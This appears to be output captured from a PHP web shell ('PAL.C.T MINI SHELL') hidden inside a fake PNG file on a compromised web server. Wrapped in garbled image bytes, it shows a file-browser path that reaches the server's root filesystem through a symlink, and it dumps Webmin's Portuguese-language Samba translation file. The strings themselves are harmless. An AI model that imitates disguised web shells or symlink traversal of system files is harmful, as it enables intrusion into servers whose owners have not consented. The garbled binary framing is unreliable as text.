php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/samba/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/samba/lang/pt_BR

index_title=Gerenciador de compartilhamento do Samba
index_sharelist=lista de compartilhamento
index_userlist=lista de usuários
index_fileshare=compartilhamento de arquivo
index_printershare=compartilhamento de impressora
index_shareconf=configuração do compartilhamento
index_version=Versão do Samba $1
index_samba=Samba

index_sharename=Nome do Compartilhamento
index_path=Caminho
index_security=Segurança
index_homedir=Todos os Diretórios Home
index_allprinter=Todas as Impressoras
index_printer=Impressora
index_defaultprn=Impressora padrão
index_printableto=Imprimir para
index_prneveryone=Imprimir para todos
index_prnalluser=Imprimir para todos os usuários conhecidos
index_rwpublic=Leitura/escrita para todos
index_readonly=Somente leitura para $1<br>Leitura/escrita para todos os outros usuários conhecidos
index_rwalluser=Leitura/escrita para todos os usuários conhecidos
index_roeveryone=Somente leitura para todos
index_readwrite=Leitura/escrita para $1<br>Somente leitura para todos os outros usuários conhecidos
index_roalluser=Somente leitura para todos os usuários conhecidos
index_noshares=Nenhum compartilhamento do Samba definido
index_createfileshare=Cria um novo arquivo de compartilhamento.
index_createprnshare=Cria um novo compartilhamento de impressora.
index_createcopy=Cria uma nova cópia.
index_view=Ver todas as conexões.
index_start=Iniciar Servidores do Samba
index_startmsg=Os servidores do Samba parecem não estar em execução no seu sistema. Isto indica que os compartilhamentos listados acima não irão estar acessíveis para outros computadores.
index_restart=Reiniciar Servidores Samba
index_restartmsg=Clique neste botão para reiniciar os servidores do Samba em execução no seu sistema. Isto irá forçar a aplicação da configuração atual.
index_restartmsg2=Isto irá também desfazer quaisquer conexões do servidor, então, se você não quer que a configuração atual seja aplicada imediatamente, você poderá aguardar 1 minuto, até que o Samba recarregue a configuração automaticamente.
index_stop=Parar Servidores do Samba
index_stopmsg=Clique neste botão para desligar os servidores do Samba que estão em execução no seu sistema. Todos os usuários atualmente conectados serão forçados a desconectar.
index_einclude=Aviso - Seu arquivo de configuração do Samba $1 contém $2 ou $3 diretivas. Isto pode causar uma modificação do arquivo pelo Webmin de forma incorreta.
index_delete=Apagar Compartilhamentos Selecionados

config_mins=Mins
config_secs=Segs
config_bytes=Bytes
config_never=Nunca
config_all=Todos
config_neither=Nenhum

global_title=Configuração Global
global_unixnetwork=Rede Unix
global_winnetwork=Rede Windows
global_auth=Autenticação
global_printing=Impressão Windows para Unix
global_misc=Opções de Miscelânea
global_filedefault=Padrões de Compartilhamento de Arquivo
global_prndefault=Padrões de Compartilhamento De Impressora
global_password=Senhas Criptografadas
global_users=Usuários do Samba
global_group=Grupos do Samba
global_bind=Opções do Winbind

error_nosamba=O executável <tt>$1</tt> do servidor Samba não foi encontrado. Ou o Samba não está instalado no seu sistema ou a <a href="$2">configuração do módulo</a> está incorreta.
error_version=O Webmin falhou ao obter a versão do executável do seu servidor Samba <tt>$1</tt>. Verifique sua <a href="$2">configuração do módulo</a> para se certificar que este é o caminho correto.
error_config=Seu arquivo de configuração $1 não foi encontrado. Pode ser que o Samba não esteja instalado no seu sistema, ou a sua <a href="$2">configuração do módulo</a> esteja incorreta.
error_include=O Webmin não pôde manipular os arquivo de configuração do Samba que usam as diretivas <tt>config</tt> ou <tt>include</tt>.
error_delshare=Falhou ao apagar compartilhamento
error_delcopy=O compartilhamento '$1' copia deste compartilhamento
error_savename=Falhou ao salvar nomeação de arquivo

convert_title=Converter Usuários
convert_msg=Este formulário permite a você sincronizar a lista de usuários Unix e Samba. Quando o Samba <a href=$1>senhas criptografadas</a>, uma lista separada de usuários e senhas é usada no lugar da lista de usuários do sistema.
convert_noconv=Não converter ou remover estes usuários:
convert_ncdesc=A lista de usuários não pode converter nomes de usuários, UIDs, nomes de grupos prefixados com um <tt>@</tt>, ou intervalos de UID como <i>500-1000</i> ou <i>500-</i>
convert_update=Atualizar usuários existentes do Samba de seus detalhes do Unix
convert_add=Adicionar novos usuários do Samba da lista de usuários do Unix
convert_delete=Apagar usuários do Samba que não existem dentro do Unix
convert_newuser=Para novos usuários criados, definir a senha para:
convert_nopasswd=Nenhuma senha
convert_lock=Contra travada
convert_passwd=Usar esta senha
convert_convert=Converter Usuários
convert_cannot=Usuários do Unix não puderam ser convertidos em usuários do Samba

misc_title=Opções de Miscelânea
misc_debug=Nível de depuração
misc_cachecall=Chamadas Cache <tt>getwd()</tt>?
misc_lockdir=Travar diretório
misc_log=Arquivo de registro
misc_maxlog=Tamanho máximo de registro
misc_rawread=Permitir leituras brutas?
misc_rawwrite=Permitir escritas brutas?
misc_overlapread=Sobrepor tamanho de leitura
misc_chroot=diretório <tt>chroot()</tt>
misc_smbrun=Caminho para <tt>smbrun</tt>
misc_clienttime=Compensação de tempo do cliente
misc_readprediction=Previsão de leitura?

net_title=Opções de Rede Unix
net_idle=Tempo de ociosidade antes de desconectar
net_trustlist=Hosts confiáveis/arquivo de usuários
net_netinterface=Interfaces de rede
net_auto=Automático
net_uselist=Usar lista...
net_interface=Interface
net_netmask=Netmask
net_keepalive=Pacotes keepalive
net_notsend=Não enviar nada
net_every=Enviar sempre
net_maxpacket=Tamanho máximo do pacote
net_listen=Ouvir no endereço
net_socket=Opções do socket

passwd_title=Opções de senha
passwd_encrypt=Usar senhas criptografadas?
passwd_allownull=Permitir senhas em branco?
passwd_program=Programa de senha
passwd_case=Diferença de senha
passwd_sync=Alterar senhas do Unix também?
passwd_chat=Alterar senha da conversa
passwd_below=Listados abaixo:
passwd_waitfor=Aguardar para
passwd_send=Enviar
passwd_map=Mapeamento de nome de usuário
passwd_unixuser=Usuários do Unix
passwd_winuser=Usuários do Windows

print_title=Opções de Impressão
print_style=Estilo de impressão Unix
print_show=Exibir todas as impressoras?
print_printcap=Arquivo Printcap
print_cachetime=Tempo de armazenamento de status da impressora

smb_title=Opções de Rede Windows
smb_workgroup=Grupo de trabalho
smb_wins=Modo WINS
smb_winsserver=Ser servidor WINS
smb_useserver=Usar servidor
smb_description=Descrição do servidor
smb_descriptionnone=Nenhum
smb_name=Nome do servidor
smb_aliase=Aliases do Servidor
smb_default=Serviço padrão
smb_show=Sempre exibir serviços
smb_disksize=Tamanho máximo do disco reportado
smb_unlimited=Ilimitado
smb_winpopup=Comando de notificação Windows
smb_priority=Prioridade do Navegador Mestre
smb_protocol=Protocolo maior
smb_master=Navegador Mestre?
smb_security=Segurança
smb_sharelevel=Nível de compartilhamento
smb_userlevel=Nível do usuário
smb_passwdserver=Senha do servidor
smb_domain=Domínio
smb_ads=Active directory
smb_announce=Anúncio remoto para
smb_nowhere=Em lugar nenhum
smb_fromlist=Para lista...
smb_ip=Endereço IP
smb_asworkgroup=<b>Como Grupo de Trabalho</b> (opcional)

create_title=Criar Cópia
create_msg=Uma cópia do compartilhamento irá herdar todas os valores padrão do compartilhamento que você escolheu. Se o compartilhamento fonte estiver sido alterado, então, será copiado.
create_from=Compartilhamento para copiar de:
create_name=Novo nome de compartilhamento:

smbuser_title=Usuários do Samba
smbuser_list=Lista de usuários do Samba
smbuser_nouser=Nenhum usuário do Samba definido.
smbuser_cannot=Usuários do Samba não puderam ser listados

euser_title=Editar Usuário do Samba
euser_name=Nome de usuário
euser_uid=UID Unix
euser_passwd=Senha
euser_noaccess=Nenhum acesso
euser_nopw=Nenhuma senha
euser_currpw=Senha atual
euser_newpw=Nova senha
euser_realname=Nome real
euser_homedir=Diretório Home
euser_shell=Shell
euser_option=Opções do usuário
euser_normal=Usuário normal
euser_noexpire=A senha nunca expira
euser_nopwrequired=Nenhuma senha necessária
euser_disable=Conta desativada
euser_trust=Conta confiável da estação de trabalho

fmisc_title=Padrões do Arquivo de Miscelânea
fmisc_for=Para compartilhamento <tt>$1</tt>
fmisc_lockfile=Fazer travamento de arquivo?
fmisc_maxconn=Máximo de conexões
fmisc_fake=oplocks falsos?
fmisc_oplocks=Habilitar oplocks?
fmisc_level2=Oplocks somente leitura?
fmisc_sharemode=Usar modos de compartilhamento?
fmisc_strict=Travamento severo?
fmisc_sync=Sincronizar depois de escrever?
fmisc_volume=Nome do volume
fmisc_sameas=Mesmo que o compartilhamento
fmisc_unixdos=Nome do mapeamento de arquivo Unix-DOS
fmisc_conncmd=Comando para executar na conexão
fmisc_disconncmd=Comando para executar na desconexão
fmisc_rootconn=Comando para executar ou conectar como <i>root</i>
fmisc_rootdisconn=Comando para executar ou desconectar como <i>root</i>

fname_title1=Padrões de Nomeação de Arquivo
fname_title2=Editar Nomeação de Arquivo
fname_option=Opções de Nomeação de Arquivo
fname_manglecase=Destruir?
fname_case=Diferenciar maiúsculas/minúsculas?
fname_defaultcase=Padrão?
fname_lower=Baixo
fname_upper=Upper
fname_preserve=Preservar?
fname_shortpreserve=Preservação Curta?
fname_hide=Ocultar ponto arquivos?
fname_archive=Salvar sinalização do pacote DOS?
fname_hidden=Salvar sinalização oculta DOS?
fname_system=Salvar sinalização de sistema DOS?

fperm_title1=Padrões de Permissões de Arquivos
fperm_title2=Editar Permissões de Arquivo
fperm_option=Opções de Permissão de Arquivo
fperm_filemode=Novo modo de arquivo Unix
fperm_dirmode=Novo modo de diretório Unix
fperm_notlist=Diretórios que não serão listados
fperm_forceuser=Forçar usuário Unix
fperm_forcegrp=Forçar grupo Unix
fperm_link=Permitir links simbólicos fora do compartilhamento?
fperm_delro=Pode apagar arquivos somente-leitura?
fperm_forcefile=Forçar modo de arquivo Unix
fperm_forcedir=Forçar modo de diretório Unix

share_title1=Padrões de Compartilhamento de Arquivo
share_title2=Editar Compartilhamento de Arquivo
share_title3=Criar Compartilhamento de Arquivo
share_info=Informação de Compartilhamento
share_copy=Este compartilhamento é uma cópia do <i>$1</i>
share_name=Nome do compartilhamento
share_home=Compartilhamento de Diretórios Home
share_dir=Diretório para compartilhar
share_create=Criar novo diretório automaticamente?
share_owner=Criar com dono
share_createperms=Criar com permissões
share_group=Criar com grupo
share_available=Disponível?
share_browseable=Navegável?
share_comment=Comentário do Compartilhamento
share_view=Ver Conexões
share_option=Outras Opções de Compartilhamento
share_security=Segurança e Controle de Acesso
share_permission=Permissões do Arquivo
share_naming=Nomeação do Arquivo
share_misc=Opções de Miscelânea
share_samedesc1=Nota - estas configurações também afetam as padrões para todos os compartilhamentos de arquivo.
share_samedesc2=Nota - estas configurações também afetam as padrões para todos os compartilhamentos de impressoras.

print_title1=Opções Padrões de Impressão
print_title2=Editar Opções de Impressão
print_option=Opções da Impressora
print_minspace=Mínimo de espaço livre
print_postscript=Forçar impressão postscript
print_command=Comando de impressão
print_queue=Comando para exibir fila
print_delete=Comando de apagar trabalho
print_pause=Comando para pausar trabalho
print_unresume=Comando de não-retomar trabalho
print_driver=Driver da impressora

pshare_title1=Padrões de Compartilhamento de Impressão
pshare_title2=Editar Compartilhamento de Impressão
pshare_title3=Criar Compartilhamento de Impressão
pshare_info=Informação de Compartilhamento
pshare_name=Nome do compartilhamento
pshare_all=Todos os Compartilhamentos de Impressoras
pshare_unixprn=Impressora Unix
pshare_spool=Diretório de Spool

sec_index1=Padrões de Segurança
sec_index2=Editar Segurança
sec_writable=Gravável?
sec_guest=Acesso de Visitante?
sec_guestonly=Somente convidado
sec_guestaccount=Usuário Unix Convidado
sec_limit=Limitar para lista de possíveis?
sec_allowhost=Hosts para permitir
sec_onlyallow=Somente permitir
sec_denyhost=Hosts para negar
sec_onlydeny=Somente negar
sec_revalidate=Revalidar usuários?
sec_validuser=Usuários válidos
sec_validgroup=Grupos válidos
sec_invaliduser=Usuários inválidos
sec_invalidgroup=Grupos inválidos
sec_possibleuser=Usuários possíveis
sec_possiblegroup=Grupos possíveis
sec_rouser=Usuários somente leitura
sec_rogroup=Grupos somente leitura
sec_rwuser=Usuários de leitura/escrita
sec_rwgroup=Grupos de leitura/escrita

esync_title=Sincronização de Usuários
esync_msg=O Webmin pode ser configurado para quando a lista de usuários Unix for alterada, as alterações automaticamente serão aplicadas na lista de usuários do Samba. Isto somente irá funcionar quando o módulo do Webmin <b>Usuários e Grupos</b> for usado para adicionar, apagar e alterar usuários.
esync_add=Adicionar um usuário do Samba quando um usuário do Unix for adicionado
esync_chg=Alterar o usuário do Samba quando o usuário Unix for alterado
esync_del=Apagar o usuário do Samba quando um usuário do Unix for apagado
esync_del_profile=Apagar o profile de roaming quando o usuário Unix for apagado
esync_chg_profile=Renomear o profile de roaming quando o usuário Unix for renomeado
esync_gid=Grupo SID ou RID para novos usuários
esync_apply=Aplicar
esync_cannot=A sincronização de usuário não pode ser configurada
esync_egid=Faltando grupo SID ou RID

mkpass_title=Converter Usuários
mkpass_convfail=Falhou ao converter usuário
mkpass_msg=Convertendo usuários Unix...
mkpass_skip=sendo pulado
mkpass_same=já é a mesma
mkpass_update=sendo atualizado
mkpass_del=sendo apagado
mkpass_passfail=Falhou ao definir senha

savecopy_fail=Falhou ao criar cópia
savecopy_global=O nome 'global' não pôde ser usado para um compartilhamento
savecopy_exist=Um compartilhamento chamado '$1' já existe
savecopy_ename=Nenhum nome de compartilhamento inserido

saveuser_fail=Falhou ao salvar usuário
saveuser_uid='$1' não é um UID Unix válido
saveuser_colon=O nome real não deve conter o caractere :
saveuser_home=O diretório home '$1' não existe
saveuser_shell=$1 não é um shell válido
saveuser_pass=Falhou ao alterar a senha usando smbpasswd : $1
saveuser_ews=A opção 'Conta confiável da estação de trabalho' não pode ser habilitada para usuários existentes

savefmisc_fail=Falhou ao salvar opções de miscelânea
savefmisc_number='$1' não é um número de conexões válidas

savefperm_fail=Falhou ao salvar permissões de arquivo
savefperm_mode='$1' não é um modo de arquivo Unix válido

savefshare_fail=Falhou ao salvar compartilhamento
savefshare_nopath=Nenhum caminho dado
savefshare_exist=Um compartilhamento chamado '$1' já existe
savefshare_mode='$1' não é um nome de compartilhamento válido
savefshare_global=O nome 'global' não pôde ser usado para um compartilhamento
savefshare_owner=Dono para novo diretório inválido ou faltando
savefshare_group=Grupo para novo diretório inválido ou faltando
savefshare_perms=Permissões para novo diretório inválido ou faltando

savemisc_fail=Falhou ao salvar opções
savemisc_lockdir=O diretório que contém o diretório de travamento não existe
savemisc_logdir=O diretório que contém o arquivo de registro não existe
savemisc_logsize='$1' não é um tamanho de registro válido
savemisc_overlap='$1' não é um tamanho de leitura válido
savemisc_chroot=O diretório de chroot '$1' não existe
savemisc_smbrun=O programa smbrun '$1' não existe ou não é um executável
savemisc_time='$1' não é uma compensação de tempo válida

savenet_fail=Falhou ao salvar opções
savenet_timeout='$1' não é um timeout de desconexão válido
savenet_ip='$1' não é um byte de IP válido
savenet_keep='$1' não é um intervalo de keepalive válido
savenet_maxxmit='$1' não é um tamanho máximo de pacote válido

savepass_fail=Falhou ao salvar opções
savepass_nopass=Sua versão do Samba não suporta senhas criptografadas
savepass_passwd=Nenhuma alteração de senha do programa informada
savepass_level='$1' não é uma diferenciação de senha válida
savepass_chat=A senha da conversa alterada está vazia

savepopts_fail=Falhou ao salvar opções de impressão
savepopts_number=O mínimo de espaço livre deve ser um número

saveprint_fail=Falhou ao salvar opções
saveprint_printcap=O arquivo printcap '$1' não existe
saveprint_cache='$1' não é um tempo de armazenamento válido

savepshare_fail=Falhou ao salvar o compartilhamento de impressora
savepshare_exist=O compartilhamento chamado '$1' não existe
savepshare_name='$1' não é um nome de compartilhamento válido
savepshare_global=O nome 'global' não pode ser usado para este compartilhamento

savesec_fail=Falhou ao salvar segurança

savesmb_fail=Falhou ao salvar opções
savesmb_size='$1' não é um tamanho de disco válido
savesmb_oslevel='$1' não é uma prioridade de navegador mestre
savesmb_server=Você deve inserir a senha do servidor

start_err=Falhou ao iniciar servidores Samba
start_fail=$1 falhou

swats_fail=Falhou ao salvar nome de usuário
swats_user=Nome de usuário SWAT

viewu_index=Usuários Atuais
viewu_list=Usuários atuais de $1
viewu_share=Compartilhamento
viewu_user=Usuário
viewu_group=Grupo
viewu_from=Conectado de
viewu_time=Conectado em
viewu_pid=ID do processo
viewu_msg1=Clique em um ID de processo da lista acima para desconectar aquele usuário.
viewu_msg2=Não há usuários atualmente conectados
viewu_locks=Abrir arquivos
viewu_none=Nenhum
viewu_ecmd=O programa de status do Samba $1 parece não estar instalado no seu sistema. Talvez a <a href='$2'>configuração do módulo</a> esteja incorreta.
viewu_kill=Desconectar Usuários Selecionados
viewu_enone=Nenhum usuário selecionado

log_apply=Servidores do Samba reiniciados
log_stop=Servidores do Samba parados
log_start=Servidores do Samba iniciados
log_save_fshare=Arquivo de compartilhamento $1 modificado
log_save_pshare=Compartilhamento de impressora $1 modificado
log_save_sec=Segurança e controle de acesso para compartilhamento $1 modificado
log_save_fperm=Permissões de arquivo para compartilhamento $1 modificadas
log_save_fname=Nomeação de arquivo para compartilhamento $1 modificado
log_save_fmisc=Opções de miscelânea para compartilhamento $1 modificadas
log_save_popts=Opções de compartilhamento de impressora $1 modificadas
log_default_fshare=Padrões para compartilhamento de arquivos alterados
log_default_pshare=Padrões para compartilhamento de impressora alterados
log_kill=Processo $1 desconectado
log_skill=Processo $1 para compartilhamento $2 desconectado
log_kills=$1 processos desconectados
log_skills=$1 processos desconectados do compartilhamento $2
log_create_fshare=Arquivo de compartilhamento $1 criado
log_create_pshare=Compartilhamento de impressora $1 criado
log_delete_fshare=Compartilhamento de arquivo $1 apagado
log_delete_pshare=Compartilhamento de impressora $1 apagado
log_delete_shares=Apagados $1 compartilhamentos
log_net=Opções de rede Unix alteradas
log_smb=Opções de rede Windows alteradas
log_pass=Opções de autenticação alteradas
log_print=Opções de impressão Windows para Unix alteradas
log_misc=Opções de miscelânea alteradas
log_bind=Alterar opções do Winbind
log_sync=Sincronização de usuário Unix configurada
log_epass=Usuários do Unix convertidos para usuários do Samba
log_epass_l=Usuários do Unix convertidos para usuários do Samba ($1 criados, $2 modificados, $3 apagados)
log_copy=Compartilhamento copiado $2 para $1
log_save_euser=Usuário do Samba $1 modificado
log_delete_euser=Usuário do Samba $1 apagado
log_create_group=Grupo do Samba $1 criado
log_modify_group=Grupo do Samba $1 modificado
log_delete_group=Grupo do Samba $1 apagado
log_gsync=Sincronização de grupo Unix configurada
log_manual=Arquivo de configuração $1 editado manualmente

swat_title=Login do SWAT
swat_list=Login SWAT
swat_msg1=Seu nome de usuário e senha atuais do SWAT estão incorretos. Use o formulário abaixo para iniciar sessão novamente.
swat_msg2=Um nome de usuário e senha são requeridos para iniciar sessão no SWAT. Podem ser utilizados qualquer usuários do seu sistema.
swat_msg3=Você não pode executar o SWAT através do Webmin, a sua configuração do Samba possui definida a opção <tt>$1:...</tt> (permitir hosts).
swat_msg4=Assim, você deve estar habilitado a conectar ao SWAT diretamente em $1
swat_username=Nome de usuários
swat_password=Senha
swat_login=Iniciar sessão
swat_clear=Limpar
swat_logout=Encerrar sessão do SWAT

eacl_aviol=Acessar controle de violação
eacl_np=Você não possui permissão para
eacl_papply=reiniciar este serviço
eacl_pcn=editar opções de rede unix
eacl_pcs=editar opções de rede smb
eacl_pcp=editar opções de senha
eacl_pcprint=editar opções de impressão
eacl_pcm=editar opções de miscelânea
eacl_pcswat=usar SWAT
eacl_pcopy=copiar compartilhamentos
eacl_pconn_all=ver todas as conexões
eacl_pconn=ver conexões para este compartilhamento
eacl_pgkill=matar conexões
eacl_pkill=matar todas as conexões
eacl_pus=atualizar compartilhamento
eacl_pcrs=criar compartilhamento
eacl_pds=apagar compartilhamento
eacl_pusec=atualizar segurança e opções de controle de acesso para este compartilhamento
eacl_pufperm=atualizar opções de permissão de arquivo para este compartilhamento
eacl_pufname=atualizar opções de nomeação de arquivo para este compartilhamento
eacl_pufmisc=atualizar opções de miscelânea para este compartilhamento
eacl_pupopt=atualizar opções de impressão para este compartilhamento
eacl_pmpass=inicializar banco de dados de usuários do SAMBA
eacl_pmsync=manter sincronização de usuários UNIX-SAMBA
eacl_pmusers=manter usuários SAMBA
eacl_pvusers=acessar usuários do SAMBA
eacl_pvfmisc=acessar opções de miscelânea para este compartilhamento
eacl_pvfname=acessar opções de nomeação de arquivo para este compartilhamento
eacl_pvperm=acessar opções de permissão de arquivo para este compartilhamento
eacl_pvsec=acessar opções de segurança e controle de acesso para este compartilhamento
eacl_pvpopt=acessar opções de impressora para este compartilhamento
eacl_pafs=acessar este compartilhamento de arquivo
eacl_paps=acessar este compartilhamento de impressão
eacl_pcps=criar compartilhamento de impressora
eacl_pcfs=criar compartilhamento de arquivo

acl_apply=Pode aplicar alterações e parar Samba?
acl_view_all_con=Pode ver todas as conexões?
acl_kill_con=Pode remover conexões?
acl_conf_net=Pode configurar opções da rede UNIX?
acl_conf_smb=Pode configurar as opções da rede Windows?
acl_conf_pass=Pode configurar as opções de autenticação?
acl_conf_print=Pode configurar as opções da impressora?
acl_conf_misc=Pode configurar opções de miscelânea?
acl_swat=Pode usar SWAT?
acl_manual=Pode editar manualmente o arquivo de configuração?
acl_enc_passwd_opts=Opções de senha criptografada
acl_view_users=Pode ver banco de dados de usuários do SAMBA?
acl_maint_users=Pode editar usuários do SAMBA?
acl_maint_makepass=Pode converter usuários UNIX para usuários SAMBA?
acl_maint_sync=Pode manter automaticamente usuários
acl_hide=Ocultar objetos inacessíveis?
acl_c=criar
acl_r=leitura
acl_w=escrita
acl_afs=Acessar compartilhamentos de arquivos
acl_aps=Acessar compartilhamento de impressoras
acl_copy=Pode copiar compartilhamentos?
acl_per_fs_acls=Habilitar ACLs de compartilhamento-por-arquivo?
acl_per_ps_acls=Habilitar ACLs de compartilhamento por impressora?
acl_per_share_acls=ACLs por compartilhamento...
acl_ernow=Se você deseja habilitar o acesso de escrita no ACL global para alguns tipos de objeto você deve também habilitar o acesso de leitura para este tipo de objeto.
acl_sname=Nome do compartilhamento
acl_saccess=Acessar compartilhamento
acl_sconn=Conexões
acl_sopthdr=Opções do compartilhamento
acl_ssec=segurança
acl_sperm=permissões
acl_snaming=Nomeação do arquivo
acl_smisc=miscelânea
acl_sprn=ou impressora
acl_na=n/a
acl_r1=somente leitura
acl_rw=leitura escrita
acl_view=ver
acl_kill=matar
acl_edit=editar
acl_group_opts=Opções do grupo Samba
acl_maint_groups=Pode ver, editar e adicionar grupos?
acl_maint_gsync=Pode manter automaticamente sincronização de grupos UNIX para o SAMBA?
acl_winbind=Pode amarrar para domínios?

groups_title=Grupos do Samba
groups_name=Nome do grupo
groups_unix=Grupo do Unix
groups_nounix=Nenhum
groups_type=Tipo
groups_type_d=Grupo de domínio
groups_type_b=NT builtin
groups_type_l=Grupo local
groups_type_u=Desconhecido
groups_sid=SID
groups_none=Nenhum grupo do Samba foi definido ainda.
groups_return=lista de grupos
groups_add=Adiciona um novo grupo do Samba.
groups_ecannot=Você não está autorizado a ver ou editar os grupos do Samba
groups_cannot=Os grupos do samba não puderam ser listados

gedit_title2=Editar Grupo do Samba
gedit_title1=Criar Grupo do Samba
gedit_header=Detalhes de grupo do Samba
gedit_name=Nome do Grupo
gedit_type=Tipo de Grupo
gedit_sid=SID do Grupo
gedit_desc=Descrição
gedit_priv=Privilégios
gedit_unix=Grupo do Unix
gedit_unixgr=Grupo ..
gedit_none=Nenhum
gedit_set=Listado ..

gsave_err=Falhou ao salvar grupo
gsave_eunix=Nome do grupo Unix ou GID inválido ou faltando
gsave_ename=Nome de grupo faltando
gsave_epriv=Privilégios do grupo faltando
gsave_elocal=Privilégios somente podem ser definidos para grupos locais

gsync_title=Sincronização de Grupo
gsync_msg=O Webmin pode ser configurado para que as alterações feitas na lista de grupos Unix sejam automaticamente aplicadas na lista de grupos do Samba. Isto somente vai funcionar para o <b>Usuário e Grupos</b> quando o módulo do Webmin for usado para adicionar, apagar ou alterar grupos.
gsync_add=Adicionar um grupo no Samba quando um grupo do Unix for adicionado
gsync_chg=Alterar o grupo do Samba quando um grupo do Unix for alterado
gsync_del=Apagar o grupo do Samba quando um grupo do Unix for apagado
gsync_apply=Aplicar
gsync_type=Tipo de novos grupos
gsync_priv=Privilégios para novos grupos (se local)
gsync_ecannot=Você não está autorizado a configurar a sincronização de grupo
gsync_cannot=A sincronização de grupo não pôde ser configurada

check_user1=$1 : Senhas criptografadas não estão habilitadas na página de <a href='$2'>Autenticação</a>.
check_user2=$1 : Nem o arquivo de senha do Samba ou o caminho para o pdbedit estão definidos na página de <a href='$2'>Configuração do Módulo</a>.
check_group1=$1 : Grupos somente são suportados na versão 3 do Samba.
check_group2=$1 : Nem o caminho para o smbgroupedit ou os comandos net estão definidos na página de <a href='$2'>Módulo de Configuração</a>.

winbind_title=Amarrar para Domínio
winbind_ecannot=Você não está autorizado a amarrar para domínios
winbind_msg=Este formulário pode ser utilizado para amarrar seu servidor do Samba para um domínio do Windows, tipicamente gerenciado por um servidor diferente.
winbind_header=Amarrar para um domínio do Windows
winbind_user=Amarrar como usuário
winbind_dom=Amarrar para domínio
winbind_save=Amarrar Agora
winbind_default=Domínio para a configuração do Samba
winbind_pass=Senha do usuário
winbind_err=Falhou ao amarrar para domínio
winbind_euser=Nome de usuário faltando
winbind_edom=Nome do domínio faltando
winbind_cmd=Amarrar para domínio com o comando $1 ..
winbind_failed=.. falhou! Veja a saída acima para saber o motivo.
winbind_ok=.. completo.

bind_title=Opções do Winbind
bind_ecannot=Você não está autorizado a editar as opções do winbind
bind_header=Opções de amarração de domínios do Windows
bind_local=Habilitar Winbind para contas locais?
bind_trust=Confiar em usuários do servidor de domínio?
bind_users=Desabilitar listagem de usuários?
bind_groups=Desabilitar listagem de grupos?
bind_realm=Domínio do Kerberos no servidor de domínio
bind_cache=Segundos para armazenar detalhes do usuário
bind_uid=Intervalo para UIDs para usuários do Windows
bind_gid=Intervalo de GIDs para grupos do Windows
bind_backend=Backend LDAP para mapeamento de conta
bind_err=Falhou ao salvar as opções do Winbind
bind_erealm=Domínio do Kerberos inválido
bind_ecache=Tempo para armazenar inválido ou faltando
bind_euid=Intervalo UID inválido - deve ser como 20000-30000
bind_egid=Intervalo GID inválido - deve ser como 20000-30000

manual_title=Editar Arquivo de Configuração
manual_desc=Editando arquivo de de configuração do Samba $1 ..
manual_err=Falhou ao salvar o arquivo de configuração
manual_edata=Nada inserido!

delete_err=Falhou ao apagar compartilhamento
delete_enone=Nenhum selecionado
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`